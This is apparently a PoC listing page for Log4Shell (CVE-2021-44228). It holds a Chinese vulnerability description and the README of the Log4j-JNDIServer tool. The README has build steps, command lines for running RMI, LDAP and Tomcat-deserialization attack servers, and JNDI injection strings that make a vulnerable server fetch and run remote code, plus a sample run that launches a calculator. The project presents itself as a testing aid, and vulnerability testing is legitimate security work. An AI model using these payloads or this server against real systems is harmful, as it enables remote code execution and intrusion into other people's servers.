CVE-2021-44228 PoC — Apache Log4j 代码问题漏洞

Source

https://github.com/immunityinc/Log4j-JNDIServer

Associated Vulnerability

Title:Apache Log4j 代码问题漏洞 (CVE-2021-44228)
Description:Apache Log4j是美国阿帕奇（Apache）基金会的一款基于Java的开源日志记录工具。 Apache Log4J 存在代码问题漏洞，攻击者可设计一个数据请求发送给使用 Apache Log4j工具的服务器，当该请求被打印成日志时就会触发远程代码执行。

Description

This project will help to test the Log4j CVE-2021-44228 vulnerability.

Readme

# Log4j-JNDIServer

This project will help to test the Log4j CVE-2021-44228/CVE-2021-45046 vulnerabilities.

## Installation and Building

- Load the project on Intellij Idea
- Select JDK in "Projects Settings" (CTRL + ALT + SHIFT + S)
- In "Project Settings", create the Artifact -> "Artifacts" -> "Create JAR from Modules" -> In "JAR files from libraries", mark "extract to target JAR" -> "OK"
- Build Project (CTRL + F9). This will create the jar file in /out/artifacts/ folder

### Building with Maven

Requires Java 1.8+ and Maven 3.x+

- `mvn clean package -DskipTests`
- You will find the .jar file in /target folder

## Usages 

### 1.RMI Attack Vector

`java -jar Log4j-JNDIServer-1.0-SNAPSHOT-all.jar 1 <RMI_IP> <RMI_PORT> <HTTP_PORT> <COMMAND>`

You don't need to host the Exploit.class anymore. The app will start an HTTP server on the indicated port.

You must indicate the command you want to run in the target.

`Injection: {jndi:rmi://<RMI_IP>:<RMI_PORT>/Foo}`

### 2.LDAP Attack Vector

`java -jar Log4j-JNDIServer-1.0-SNAPSHOT-all.jar 2 <LDAP_IP> <LDAP_PORT> <HTTP_PORT> <COMMAND>`

You don't need to host the Exploit.class anymore. The app will start an HTTP server on the indicated port.

You must indicate the command you want to run in the target.

`Injection: {jndi:ldap://<LDAP_IP>:<LDAP_PORT>/Exploit}`

### 3.Deserialization Attack Vector (Using Tomcat payload)

`java -jar Log4j-JNDIServer-1.0-SNAPSHOT-all.jar 3 <RMI_IP> <RMI_PORT> <COMMAND>`

`Injection: {jndi:rmi://<RMI_IP>:<RMI_PORT>/Foo}`

## Example

```shell
$ java -jar Log4j-JNDIServer-1.0-SNAPSHOT-all.jar 3 127.0.0.1 1389 /usr/bin/gnome-calculator
- Starting RMI Server for Tomcat  -
- Creating RMI Server on port 1389 -
- Reference bound! -
- RMI server started at 127.0.0.1:1389 -
- Log4J Injection Path: ${jndi:rmi://127.0.0.1:1389/Foo} -

File Snapshot


 [4.0K]  /data/pocs/471b1c0545aea8aa5256185a9492de05f391d323
├── [2.3K]  pom.xml
├── [1.8K]  README.md
└── [4.0K]  src
    └── [4.0K]  main
        └── [4.0K]  java
            ├── [2.9K]  BasicHttpServer.java
            ├── [5.4K]  Compiler.java
            ├── [ 524]  Exploit.java
            ├── [8.9K]  LaunchServer.java
            ├── [3.8K]  LdapServer.java
            ├── [4.0K]  META-INF
            │   └── [  51]  MANIFEST.MF
            └── [4.0K]  payloads
                ├── [ 498]  Exploit.java
                └── [1.2K]  TemplateExploit.java

5 directories, 10 files

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